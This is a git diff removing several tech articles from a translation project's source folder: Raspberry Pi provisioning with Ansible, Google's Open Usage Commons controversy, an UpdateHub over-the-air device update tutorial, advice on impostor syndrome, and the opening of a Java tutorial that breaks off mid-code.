-I would recommend having a Raspberry Pi Station dedicated to burning the latest SDCards in the store room. This would automatically burn the latest image from the network once a new card is inserted into the [external SD Card Reader][28]. With some imagination and a 3D printer, a nice unit could be manufactured for giving feedback on progress. - -When a Raspberry Pi is requisitioned, the store keepers can then remove one of the finished SDCards and include it with the work order. - -#### Inventory/Hosts File - -In our fictitious example, the role of the device will be determined by the location of the network that it has connected to. Therefore we need to be able to identify Raspberry Pies once they come onto the network. How you approach this will entirely depend on how your network is configured, and what tools is available to you. I would advise listening to the episode by [operat0r][29] called [hpr3090 :: Locating Computers on a Enterprise Network][30] for some great tips on how to do this. - -Each department would have their own provisioning server running the Ansible Software, which of course could be another Raspberry Pi. It is the standard unix/ssh permissions that dictate who has access to what within your organization. In episode [hpr3080 :: Ansible ping][31] I walked through the absolute basics of installing and troubleshooting [Ansible][20]. Since then [klaatu][32] added [hpr3162 :: Introduction to Ansible][33] which is a great introduction to the topic in general. - -How the provisioning server becomes aware of the new devices can be active or passive. - -You could have the [First Boot script][16] actively calling a url to register itself. You would need to have a web application listening and using the received information to register the new host in the Ansible Inventory. - -This might be a good approach for departments where devices are replaced infrequently and you want them provisioned as soon as possible. As an example when a water quality monitoring station gets replaced, it would be a good idea to have it register. The Electrician could then select the exact Playbook to deploy to the device via a smart phone app. - -On the other hand a passive approach may be better if you are going to be installing devices constantly, like on a production line. In that case we can assume that any new devices found on the production line network will have our test and diagnostic software installed at the beginning of the line. This can also be removed automatically prior to shipping. - -One of the changes that `fix-ssh-on-pi.bash` does is that it renames the hostname of each Raspberry Pi to a version based on it’s [Ethernet MAC address][34]. As an example a [Ethernet MAC address][34] of `dc:a6:32:01:23:45` will result in a [hostname][35] of `dca632012345`. - -When the Raspberry Pi finishes it’s first time boot sequence, the 3rd automatic reboot will request a IP Address from your [DHCP][36] server, that hostname will (probably) become available in the office [DNS][37] network. - -At this point your Raspberry Pi is accessible using something like `ssh dca632012345`, `ssh dca632012345.local`, `ssh dca632012345.lan`, or in our example `ssh dca632012345.production.example.com`. - -I included a small script on [github][17] to locate Raspberry Pies based on [Ethernet MAC address][34]. I discussed this recently on my Hacker Public Radio episode _[Locating computers on a network][38]_: - - -``` -# ./put-pi-in-ansible-host.bash | tee all_pies.ini -[all_pies] -b827eb012345 ansible_host=192.168.1.123 -dca632012345 ansible_host=192.168.1.127 -b827eb897654 ansible_host=192.168.1.143 -dca632897654 ansible_host=192.168.1.223 -``` - -In my _[Ansible ping][31]_ episode on Hacker Public Radio, I used a YAML inventory file instead of the INI version above. - -#### Execute a playbook - -Regardless of how the provisioning server becomes aware of the devices, you now know they exist. In this example, you would deploy different playbooks based on the subnet the device is in. - -Perhaps the simplest playbook you can try is this one (from _Ansible ping_ and available on [GitHub][17]): - - -``` -\- name: Test Ping -  hosts: all -  tasks: -  - action: ping -``` - -You should now have everything you need to communicate with the new devices: - - -``` -`ansible-playbook --inventory-file all_pies.ini ping-example-playbook.yaml` -``` - -By modifying the playbook, you can update and configure your devices any way you like. I use this to create users, update the system to the latest version, add and remove software, and do other configurations. There are several good examples available about updating your systems, such as the [Ansible apt update all packages on Ubuntu / Debian Linux][39] tutorial. - -At this point, the devices cease to be generic. You will know the exact role each Raspberry Pi should have, and you can provision it as such. How custom it is will depend on the playbook, but I advise having a specific [Ansible role][40] for each task you need a Pi to do. For example, even if your widget factory has only one water-quality monitoring station, you should still define a role for it. Not only will this allow you to quickly deploy an identical replacement if necessary, but you are also documenting the process, which may be required for certifications such as [ISO 9000][41]. - -You now have the means to audit that updates to your network are in place and being done regularly. Hopefully, this will keep your devices secure for many years of service. This method also applies to products you ship, as they can be updated via hotspots operated by field service engineers. During regular system maintenance, the Raspberry Pi is automatically updated using credentials supplied in the `wpa_supplicant.conf` file. - -### Make management easier - -I hope this has opened your mind about how to tackle managing many devices more easily. All you need to get started is your PC or laptop and a Raspberry Pi. The principles of burning a generic image, creating a device inventory, and deploying a playbook are the same whether you're working on a small scale or scaling up to hundreds of devices. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/9/raspberry-pi-ansible - -作者:[Ken Fallon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/kenfallon -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/life-raspberrypi_0.png?itok=Kczz87J2 (Raspberries with pi symbol overlay) -[2]: https://www.raspberrypi.org/education/ -[3]: https://www.raspberrypi.org/products/raspberry-pi-1-model-b-plus/ -[4]: https://www.raspberrypi.org/products/raspberry-pi-2-model-b/ -[5]: https://www.raspberrypi.org/products/raspberry-pi-3-model-a-plus/ -[6]: https://www.raspberrypi.org/products/raspberry-pi-3-model-b/ -[7]: https://www.raspberrypi.org/products/raspberry-pi-3-model-b-plus/ -[8]: https://www.raspbian.org/ -[9]: https://www.raspberrypi.org/documentation/raspbian/updating.md -[10]: https://www.raspberrypi.org/documentation/configuration/raspi-config.md -[11]: https://www.raspberrypi.org/documentation/hardware/raspberrypi/bootmodes/net_tutorial.md -[12]: https://www.raspberrypi.org/blog/raspberry-pi-4-on-sale-now-from-35/#comment-1510410 -[13]: https://wiki.debian.org/DebianReleases -[14]: http://hackerpublicradio.org/eps.php?id=2356 -[15]: http://man7.org/linux/man-pages/man8/losetup.8.html -[16]: https://github.com/nmcclain/raspberian-firstboot -[17]: https://github.com/kenfallon/fix-ssh-on-pi -[18]: https://en.wikipedia.org/wiki/DevOps -[19]: https://en.wikipedia.org/wiki/Comparison_of_open-source_configuration_management_software -[20]: https://www.ansible.com/ -[21]: https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html -[22]: https://docs.ansible.com/ansible/latest/user_guide/intro_inventory.html -[23]: https://docs.ansible.com/ansible/latest/user_guide/playbooks_intro.html -[24]: https://docs.ansible.com/ansible/latest/modules/apt_module.html -[25]: https://en.wikipedia.org/wiki/Ansible_%28software%29%23Design_goals -[26]: https://en.wikipedia.org/wiki/Idempotent -[27]: https://en.wikipedia.org/wiki/Enterprise_resource_planning -[28]: https://www.amazon.com/StarTech-com-4-Slot-USB-C-Card-Reader/dp/B07HVPNQRQ/ -[29]: http://hackerpublicradio.org/correspondents.php?hostid=36 -[30]: http://hackerpublicradio.org/eps.php?id=3090 -[31]: http://hackerpublicradio.org/eps.php?id=3080 -[32]: http://hackerpublicradio.org/correspondents.php?hostid=78 -[33]: http://hackerpublicradio.org/eps.php?id=3162 -[34]: https://en.wikipedia.org/wiki/MAC_address -[35]: https://en.wikipedia.org/wiki/Hostname -[36]: https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol -[37]: https://en.wikipedia.org/wiki/Domain_Name_System -[38]: http://hackerpublicradio.org/eps.php?id=3052 -[39]: https://www.cyberciti.biz/faq/ansible-apt-update-all-packages-on-ubuntu-debian-linux/ -[40]: https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html -[41]: https://en.wikipedia.org/wiki/ISO_9000 diff --git a/sources/tech/20200917 Open Usage Commons- Google-s Initiative to Manage Trademark for Open Source Projects Runs into Controversy.md b/sources/tech/20200917 Open Usage Commons- Google-s Initiative to Manage Trademark for Open Source Projects Runs into Controversy.md deleted file mode 100644 index 1ba65ad315..0000000000 --- a/sources/tech/20200917 Open Usage Commons- Google-s Initiative to Manage Trademark for Open Source Projects Runs into Controversy.md +++ /dev/null @@ -1,83 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Open Usage Commons: Google’s Initiative to Manage Trademark for Open Source Projects Runs into Controversy) -[#]: via: (https://itsfoss.com/open-usage-commons-controversy/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) - -Open Usage Commons: Google’s Initiative to Manage Trademark for Open Source Projects Runs into Controversy -====== - -Back in July, Google [announced][1] a new organization named Open Usage Commons. The aim of the organization is to help “projects protect their project identity through programs such as trademark management and usage guidelines”. - -Google believes that “creating a neutral, independent ownership for these trademarks gives contributors and consumers peace of mind regarding their use of project names in a fair and transparent way”. - -### Open Usage Commons and the controversy with IBM - -![][2] - -Everything seems good in theory, right? But soon after the Google’s announcement of the Open Usage Commons, [IBM made an objection][3]. - -The problem is that Google included [Istio][4] project under [Open Usage Commons][5]. IBM is one of the founding members of the Istio project and it wants the project to be under open governance with [CNCF][6]. - -On behalf of It’s FOSS, I had a quick interaction with [Heikki Nousiainen][7], CTO at [Aiven][8] to clear some air on the entire Open Usage Commons episode. - -#### What is the Open Usage Commons trying to do? - -**Heikki Nousiainen**: The stated purpose of Google’s Open Usage Commons (OUC) is to provide a neutral and independent organization for open source projects to host and manage their trademarks. By applying open source software principles to trademarks, this will provide transparency and consistency. The idea is that this will lead to a more vibrant ecosystem for end users because vendors and developers can confidently build something that relies on projects’ brands.  - -Although other foundations, such as the Cloud Native Computing Foundation (CNCF) and [Apache Foundation][9], provide some direction on trademarks, OUC provides more precision and consistency in what constitutes fair use for vendors. This avoids what has generally been left to the individual projects to decide, which has resulted in a confusing patchwork of guidelines. - -Additionally, it is likely an attempt by Google to avoid situations similar to what [Amazon Web Services (AWS) has faced with Elasticsearch][10], e.g. where trademarks have appeared to be increasingly used to prevent exactly what Google is attempting to accomplish with this foundation, _**relatively open use of project brand identifiers by competing vendors**_. - -#### What are the problems surrounding the Commons? - -**Heikki Nousiainen**: The main controversy surrounds the question as to why [Istio][11] was not placed under CNCF governance as IBM was clearly expecting it to be placed under an [Open Governance model][12] once it matured. - -However, Open Usage Commons does not touch the governance model at all. Google, of course, has incentive to be able to trust they can utilize the recognized brands and trademarks to help customers recognize the services built on top of these familiar technologies. - -#### How will it impact the open source world, both positive and negative impacts? - -**Heikki Nousiainen**: It will remain to be seen what the long-term impact will be due to the fact that the only member projects are currently driven by Google. Although controversial, it doesn’t seem like the fears that Google would be able to enact effective control over member projects will materialize. - -A more telling question is, “Who will be likely to participate?” One thing is for sure, this will spark a long overdue discussion on how Open Source trademarks should be used when moving from software bundles to services offered in the cloud. - -#### Does it sound like some big players will have control over the definition of ‘open source trademarks’?  - -**Heikki Nousiainen**: Despite all the controversy over licensing, big players in this space have been and will remain key in securing the resources and support needed for the open source community to thrive. - -Although there is some self-interest here, the creation of vehicles such as this do not necessarily constitute an attempt at imposing unjustified control over projects. As a community-driven software, all must work alongside one another to achieve success. - -* * * - -Personally, I think Google’s long term game plan is to protect its Google Cloud Platform from possible lawsuits over the use of popular source projects’ trademarks and branding. - -What do you think of the entire Open Usage Commons episode? - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/open-usage-commons-controversy/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://opensource.googleblog.com/2020/07/announcing-new-kind-of-open-source.html -[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/09/google-open-usage-commons.png?resize=800%2C450&ssl=1 -[3]: https://developer.ibm.com/components/istio/blogs/istio-google-open-usage-commons/ -[4]: https://istio.io -[5]: https://openusage.org -[6]: https://www.cncf.io/ -[7]: https://www.linkedin.com/in/heikki-nousiainen/ -[8]: https://aiven.io -[9]: http://apache.org -[10]: https://news.bloomberglaw.com/ip-law/amazon-sued-for-allegedly-infringing-elasticsearch-trademarks -[11]: https://istio.io/ -[12]: https://developer.ibm.com/articles/open-governance-community/ diff --git a/sources/tech/20200917 Update devices remotely with this open source tool.md b/sources/tech/20200917 Update devices remotely with this open source tool.md deleted file mode 100644 index 5b4ee15fb4..0000000000 --- a/sources/tech/20200917 Update devices remotely with this open source tool.md +++ /dev/null @@ -1,277 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Update devices remotely with this open source tool) -[#]: via: (https://opensource.com/article/20/9/update-remote-devices-updatehub) -[#]: author: (Domarys https://opensource.com/users/domarys) - -Update devices remotely with this open source tool -====== -Handle all your complete device updates, including firmware and -bootloaders, over the air with UpdateHub Community Edition. -![Working from home at a laptop][1] - -The ability to access, connect, and [manage multiple devices remotely][2] through a single account is important. Going a step further, being able to completely update devices remotely is another way for sysadmins to reduce effort and minimize headaches. - -[UpdateHub][3] is an open source solution that allows you to do complete device updates, including firmware and bootloaders, remotely. Its goal is to make it easier to do device updates and reduce rework and risk, whether you're updating thousands of devices or managing small deployments. UpdateHub handles all aspects of over-the-air (OTA) updates, including package integrity and authenticity, while you take care of your other work. - -This step-by-step guide to UpdateHub aims to help you get started with this professional tool. There are two UpdateHub server options: [UpdateHub Cloud][4] and [UpdateHub Community Edition][3] (UpdateHub CE), a fully open source server (distributed under the MIT License), which is what this tutorial uses. - -### Check the requirements - -First, make sure your Linux distribution has installed all [the required packages][5] to build an image using the Yocto Project. - -You also need the following hardware: - - * **Target** is the development device. This tutorial uses a [Raspberry Pi 3 Model B+][6], but you could also use a Raspberry Pi 3, Model B, or Model B+. - * **Host** is the computer where you will build the image using the Yocto Project. This tutorial uses [Yocto 3.1 Dunfell][7]. - - - -To start UpdateHub CE, you must have [Docker][8] installed on the host. If you don't have it, see Docker's [orientation and setup][9] instructions. - -This tutorial uses Google's [repo tool][10] to facilitate the process, as it requires multiple repositories. You can learn more about repo in the [Android development setup guide][11]. - -On Debian and Ubuntu distros, install repo with: - - -``` -`sudo apt install repo` -``` - -If you're using another Linux distribution, download repo directly and set your distro with: - - -``` -mkdir ~/bin -curl > ~/bin/repo -chmod a+x ~/bin/repo -PATH=${PATH}:~/bin -``` - -Finally, you need network connectivity via [DHCP][12], or you must know how to change the internet protocol (IP) address or to create a Yocto Project layer that handles this configuration. - -### Prepare your environment for the build - -UpdateHub provides a repository with a manifest file used by the repo tool, which makes it easier to manage multiple layers. - -Download the source code by creating a directory and fetching the necessary Yocto Project layers: - - -``` -mkdir updatehub-platform -cd updatehub-platform -repo init -u -b dunfell -repo sync -``` - -After the `repo sync` command completes, you will see all the layers you need in the `sources` directory. - -The UpdateHub platform provides support for multiple [supported devices][13]. During the Yocto Project environment setup, it will ask if you want to accept the end-user license agreement (EULA) of the `meta-freescale` layer; this is not necessary for this project. - -Load the Yocto Project environment: - - -``` -`MACHINE="raspberrypi3" source ./setup-environment build` -``` - -Note that this command is valid only for the terminal session where you loaded the environment. If you use a new terminal, you will need to load the environment again. However, you won't need to configure the machine again because the configuration content is stored in the `conf/local.conf` file. - -### Start UpdateHub CE - -With Docker installed, download the Docker image and start the server on port 8080: - - -``` -`docker run -d -p 8080:8080 updatehub/updatehub-ce:latest` -``` - -![Installing and running the server with Docker image][14] - -(Domarys Correa, [CC BY-SA 4.0][15]) - -Access the UpdateHub CE dashboard through the host IP address and port 8080 (`http://IP_ADDRESS:8080`). The host IP in the example is 192.168.15.50, so that would be `http://192.168.15.50:8080`. - -Use the default of `admin` for the login and password, and click **Login**. - -You need to configure the `UPDATEHUB_SERVER_URL` to use the UpdateHub CE address because the device needs to know the server's IP address. By default, the `meta-updatehub` layer uses the UpdateHub Cloud address in the server URL variable. - -You should see UpdateHub CE's main interface: - -![Accessing the UpdateHub CE dashboard][16] - -(Domarys Correa, [CC BY-SA 4.0][15]) - -### Configure the environment to generate the image - -The next step is to generate the Linux image that will be used by the device. But first, you need to set up some variables in the `conf/local.conf` file: - - -``` -UPDATEHUB_SERVER_URL = "" -UPDATEHUB_PACKAGE_VERSION_SUFFIX = "-test-image-1" -ENABLE_UART = "1" -UPDATEHUB_POLLING_INTERVAL = "1m" -``` - -Going line by line in the above code: - - * `UPDATEHUB_SERVER_URL` contains the IP address where UpdateHub CE is running. - * `UPDATEHUB_PACKAGE_VERSION_SUFFIX` adds a suffix in the image version. This is useful for placing a version number and incrementing it for each new image. This variable will be the `VERSION_ID`, which is composed of the `DISTRO_VERSION` (described in the [docs][17]) plus the `UPDATEHUB_PACKAGE_VERSION_SUFFIX`. You can verify this in the `/etc/os-release` file in the target. - * `ENABLE_UART`: There are several ways to access the target device, such as using the serial console or connecting a keyboard and a monitor. This variable allows access to a serial console on a Raspberry Pi by using the serial ports available on the GPIO header. - * `UPDATEHUB_POLLING_INTERVAL`: By default, communication between UpdateHub's agent and server happens every 24 hours. Use this variable to set up a new consultation time of 1 minute. - - - -This tutorial uses [Minicom][18] to connect with the target; if you want, you can learn more about [using the serial connection in Raspberry Pi][19]. - -### Generate the image - -Now that the Yocto Project environment is ready, compile the image using the [BitBake][20] task-execution engine by running: - - -``` -`bitbake updatehub-image-base` -``` - -Image generation can take a while, depending on the host machine. If this is the first time you are building an image for `raspberrypi3` in Yocto's Dunfell branch, BitBake will download the entire source code, so your download speed will influence the time it takes to generate the image. - -Once the image is compiled, navigate to the `build/tmp/deploy/images/raspberrypi3/` host directory and verify the image file, `updatehub-image-minimal-raspberrypi3.wic.gz`, is there. - -Insert an SD card into your Raspberry Pi and check its name by running `dmesg`. Then flash the image to your SD card with the following command, but make sure to change `/dev/sdX` to your SD card name: - - -``` -`zcat updatehub-image-base-raspberrypi3.wic.gz | sudo dd of=/dev/sdX` -``` - -Insert the imaged SD card into the target device to connect to Raspberry Pi. The image has a network configured to obtain an IP address using DHCP. Access the console with user `root` and leave the password empty. - -Confirm the version of the image running on the target using `cat /etc/os-release`. - -![Viewing a version of the image with Minicom][21] - -(Domarys Correa, [CC BY-SA 4.0][15]) - -### Generate the update package - -Your device should be running and working correctly, but you need to add the feature to create an update package. This creates an image to update your target. The following example adds support for an SSH server on the target and creates an update package to install this functionality. - -Add support for the OpenSSH server by adding the following line to the `build/conf/local.conf` file: - - -``` -`IMAGE_FEATURES += "ssh-server-openssh"` -``` - -To make it clear that the updated image will have another version, put the suffix `-test-image-2` in the `UPDATEHUB_PACKAGE_VERSION_SUFFIX` variable: - - -``` -`UPDATEHUB_PACKAGE_VERSION_SUFFIX = "-test-image-2"` -``` - -Save the file and run: - - -``` -`bitbake updatehub-image-base -c uhuarchive` -``` - -This command generates a file with a `.uhupkg` extension, a format used by UpdateHub to update the system. The generated file will be in the same directory as the images are, `tmp/deploy/images/raspberrypi3`; in this example, that's `updatehub-image-base-raspberrypi3.uhupkg`. - -### Check your device - -To access the UpdateHub CE dashboard, click the **Devices** tab to see if your device is listed: - -![Device section on the UpdateHub CE][22] - -(Domarys Correa, [CC BY-SA 4.0][15]) - -### Send an update package - -UpdateHub CE dashboard's **Packages** tab shows a list of available packages, but you do not have any yet. To add a package, click the **Upload Package** button, and select the `updatehub-image-minimal-raspberrypi3.uhupkg` file. In this example, it is in `tmp/deploy/images/raspberrypi3/directory`. A screen showing the package details will appear. This shows the process of adding an update package to the dashboard: - -![Add an update package][23] - -(Domarys Correa, [CC BY-SA 4.0][15]) - -### Create a rollout - -With the device recognized and the packet sent to the server, you can create a rollout, which is essentially a deployment plan. Navigate to the **Rollouts** tab and click **Create Rollout**. Choose which package version you want to use in the upgrade. This example only has the package from the previous step, with version `20.04-test-image-2`. Choose this version, and make sure it includes the list of devices that will be updated. - -![Creating a rollout and checking the device update][24] - -(Domarys Correa, [CC BY-SA 4.0][15]) - -Previously, you configured the image running on the target to perform an update query on the UpdateHub server every minute, so within one minute of creating the rollout, the update process will start. To track the update status, check the **Rollouts** tab. - -![The update process][25] - -(Domarys Correa, [CC BY-SA 4.0][15]) - -After finishing an upgrade process, the target reboots automatically. The new image boots up and automatically queries the server for updates. The server responds that it does not have any updates and ends the update cycle. - -When the status shows `updated`, run the command below on the host to access the target over SSH: - - -``` -`ssh root@IP_DO_TARGET` -``` - -No password is required; just press **Enter**, and you will be in the target console. You can check the version in the `/etc/os-release` file to confirm. - -### Congratulations! You're done! - -Now you have access to a professional tool to update your devices remotely. This tutorial used a Raspberry Pi 3 with the Yocto Project version Dunfell 3.1.2, but [other devices and versions][13] are supported. - -If you have any questions about integrating your device, access the developers' team through [Gitter][26] or by emailing [contact@updatehub.io][27]. - -* * * - -_This article is based on [UpdateHub: Sending OTA Updates using the Yocto Project][28] on UpdateHub's blog._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/9/update-remote-devices-updatehub - -作者:[Domarys][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/domarys -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/wfh_work_home_laptop_work.png?itok=VFwToeMy (Working from home at a laptop) -[2]: https://opensource.com/article/20/7/linux-shellhub -[3]: https://github.com/UpdateHub/updatehub-ce -[4]: https://updatehub.io/ -[5]: https://www.yoctoproject.org/docs/2.6.1/mega-manual/mega-manual.html#required-packages-for-the-build-host -[6]: https://www.raspberrypi.org/products/raspberry-pi-3-model-b-plus/ -[7]: https://old.yoctoproject.org/yoctoproject/dunfell -[8]: https://www.docker.com/ -[9]: https://docs.docker.com/get-started/ -[10]: https://gerrit.googlesource.com/git-repo/+/refs/heads/master/README.md -[11]: https://source.android.com/setup/develop -[12]: https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol -[13]: https://docs.updatehub.io/yocto-project/supported-machines/ -[14]: https://opensource.com/sites/default/files/uploads/yocto1_installserver.gif (Installing and running the server with Docker image) -[15]: https://creativecommons.org/licenses/by-sa/4.0/ -[16]: https://opensource.com/sites/default/files/uploads/yocto2_updatehubce-dashboard.gif (Accessing the UpdateHub CE dashboard) -[17]: https://www.yoctoproject.org/docs/2.6.1/ref-manual/ref-manual.html#var-DISTRO_VERSION -[18]: https://wiki.emacinc.com/wiki/Getting_Started_With_Minicom -[19]: https://elinux.org/RPi_Serial_Connection -[20]: https://github.com/openembedded/bitbake -[21]: https://opensource.com/sites/default/files/uploads/yocto_confirm.gif (Viewing a version of the image with Minicom) -[22]: https://opensource.com/sites/default/files/uploads/yocto_device-dashboard.gif (Device section on the UpdateHub CE) -[23]: https://opensource.com/sites/default/files/uploads/yocto_addupdate.gif (Add an update package) -[24]: https://opensource.com/sites/default/files/uploads/yocto6_createrollout.gif (Creating a rollout and checking the device update) -[25]: https://opensource.com/sites/default/files/uploads/yocto7.gif (The update process) -[26]: https://gitter.im/UpdateHub -[27]: mailto:contact@updatehub.io -[28]: https://blog.updatehub.io/updatehub-sending-ota-updates-using-the-yocto-project/ diff --git a/sources/tech/20200919 3 ways to protect yourself from imposter syndrome.md b/sources/tech/20200919 3 ways to protect yourself from imposter syndrome.md deleted file mode 100644 index 63d511c530..0000000000 --- a/sources/tech/20200919 3 ways to protect yourself from imposter syndrome.md +++ /dev/null @@ -1,59 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (3 ways to protect yourself from imposter syndrome) -[#]: via: (https://opensource.com/article/20/9/imposter-syndrome) -[#]: author: (Josh Atwell https://opensource.com/users/joshatwell) - -3 ways to protect yourself from imposter syndrome -====== -It can be hard to believe you deserve success, sometimes, but these tips -can help you combat impostor syndrome and accept the accolades you've -earned. -![Brain on a computer screen][1] - -Poet and activist Maya Angelou published many books throughout her storied career, but each time, she feared people would figure out that she'd "run a game on everybody, and they're going to find me out." This seems an odd response from a well-honored writer. What she is describing is her own challenge with imposter syndrome. - -Think for a moment about your own accomplishments. Being hired into a new role. Having your first [open source contribution][2] merged into the project. Receiving an award or recognition. Being invited to participate in a project or event with people you respect and look up to. Did you question whether you belonged there? Did you fear people would "know that you didn't belong?" There is an extremely high likelihood that you have also experienced imposter syndrome. Please check the survey at the end of this article to see that you're not alone. - -Imposter syndrome is a "[psychological term][3] referring to a pattern of behavior where people doubt their accomplishments and have a persistent, often internalized fear of being exposed as a fraud." It's not considered a disorder, but it's persistent and can keep you from trying new things, accepting praise, or enjoying success. It's also important to understand that imposter syndrome is indiscriminate to gender, race, or nationality. Anyone can be impacted. Fortunately, you can be prepared for when imposter syndrome rears its ugly head. - -How do you protect yourself from letting imposter syndrome limit you? Here are three techniques that you can start using right away: - -**1\. Feelings vs. facts**—It's important to understand that imposter syndrome is a feeling and doesn't represent a factual assessment of your value or acceptance. Instead of thinking, "I don't deserve to be here," say to yourself, "I'm here because I earned it," or "I trust the judgment of those who invited me here that I truly deserve to be here." Ask yourself if the negative thoughts are from facts or a story you are telling yourself. This simple shift in focus from feelings to facts can set you back on the right course. - -![3 panels, woman says "I don't deserve to be here." with red X on top, woman says "I should trust the judgment of people who invited me." with green check, woman says "I deserve to be here." with green check][4] - -**2\. "Outsider" does not equal "fraud"**—Simply because your peer group has changed does not mean that you do not belong. Inclusion in higher levels of an organization, accomplished industry peers, or a group of award recipients is almost always a result of meaningful contributions. That first day of school feeling never goes away, even if it's remote school. So, unless you are legitimately a party crasher, keep in mind that you have value to add to the group and share it, even if you are nervous at first. - -**3\. Faking it**—Unfortunately, it's not universally understood that people learn how to do the job AFTER they get the job. There are few better ways to set yourself up for continued success than first believing that additional success is possible. Just be mindful not to fall into the trap of the cognitive bias known as the Dunning-Kruger effect, which leads people to vastly overestimate their capabilities. "Fake it until you make it," but commit to continued learning. - -There are so many ways imposter syndrome can disrupt both our professional and personal lives, but with some awareness and preparation, you can avoid letting it limit your growth and success. These are just a few ways to address imposter syndrome. For more information, you can also visit . - -[In this survey][5], we'd like to ask you to provide some information based on your experiences, which we'll use to help further inform the community about imposter syndrome and how prevalent it is in our industry. - -![Green chalkboard image reading "Take the Survey!"][6] - -This post includes excerpted content from an upcoming community presentation titled "Imposter Syndrome First Aid Kit" by Josh Atwell and Amy Lewis. If you're interested in hearing the full presentation, you can check it out at Splunk .conf20 on October 20-21. Registration is available at . - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/9/imposter-syndrome - -作者:[Josh Atwell][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/joshatwell -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/brain_computer_solve_fix_tool.png?itok=okq8joti (Brain on a computer screen) -[2]: https://opensource.com/article/19/11/my-first-open-source-contribution-impostor-syndrome -[3]: https://www.psychologytoday.com/us/blog/real-women/201809/the-reality-imposter-syndrome -[4]: https://opensource.com/sites/default/files/uploads/impostor_syndrome_1.png (Person progresses through stages of impostor syndrome) -[5]: https://pollev.com/amylewis963?_ga=2.60457517.1623261502.1598557790-809388036.1598557790 -[6]: https://opensource.com/sites/default/files/uploads/impostor_syndrome_survey.png (Green chalkboard image reading "Take the Survey!") diff --git a/sources/tech/20200921 Solve a real-world problem using Java.md b/sources/tech/20200921 Solve a real-world problem using Java.md deleted file mode 100644 index 9ee7423818..0000000000 --- a/sources/tech/20200921 Solve a real-world problem using Java.md +++ /dev/null @@ -1,328 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Solve a real-world problem using Java) -[#]: via: (https://opensource.com/article/20/9/problem-solving-java) -[#]: author: (Chris Hermansen https://opensource.com/users/clhermansen) - -Solve a real-world problem using Java -====== -See how Java differs from Python and Groovy as it's used to solve a -charity's real-world problem. -![Coffee beans and a cup of coffee][1] - -As I wrote in the first two articles in this series, I enjoy solving small problems by writing small programs in different languages, so I can compare the different ways they approach the solution. The example I'm using in this series is dividing bulk supplies into hampers of similar value to distribute to struggling neighbors in your community, which you can [read about][2] in the first article in this series. - -In the first article, I solved this problem [using the Groovy programming language][2], which is like Python in many ways, but syntactically it's more like C and Java. In the second article, I [solved it in Python][3] with a very similar design and effort, which demonstrates the resemblance between the languages. - -Now I'll try it in [Java][4]. - -### The Java solution - -When working in Java, I find myself declaring utility classes to hold tuples of data (the new record feature is going to be great for that), rather than using the language support for maps offered in Groovy and Python. This is because Java encourages creating maps that map one specific type to another specific type, but in Groovy or Python, it's cool to have a map with mixed-type keys and mixed-type values. - -The first task is to define these utility classes, and the first is the `Unit` class: - - -``` -class Unit { -    private [String][5] item, brand; -    private int price; - -    public Unit([String][5] item, [String][5] brand, int price) { -        this.item = item; -        this.brand = brand; -        this.price = price; -    } -    public [String][5] getItem() { return this.item; } -    public [String][5] getBrand() { return this.brand; } -    public int getPrice() { return this.price; } - -    @Override -    public [String][5] toString() { return [String][5].format("item: %s brand: %s price: %d",item,brand,price); } -} -``` - -There's nothing too startling here. I effectively created a class whose instances are immutable since there are no setters for fields `item`, `brand`, or `price` and they are declared `private`. As a general rule, I don't see value in creating a mutable data structure unless I'm going to mutate it; and in this application, I don't see any value in mutating the `Unit` class. - -While more effort is required to create these utility classes, creating them encourages a bit more design effort than just using a map, which can be a good thing. In this case, I realized that a bulk package is composed of a number of individual units, so I created the `Pack` class: - - -``` -class Pack { -    private Unit unit; -    private int count; - -    public Pack([String][5] item, [String][5] brand, int unitCount, int packPrice) { -        this.unit = new Unit(item, brand, unitCount > 0 ? packPrice / unitCount : 0); -        this.count = unitCount; -    } - -    public [String][5] getItem() { return unit.getItem(); } -    public [String][5] getBrand() { return unit.getBrand(); } -    public int getUnitPrice() { return 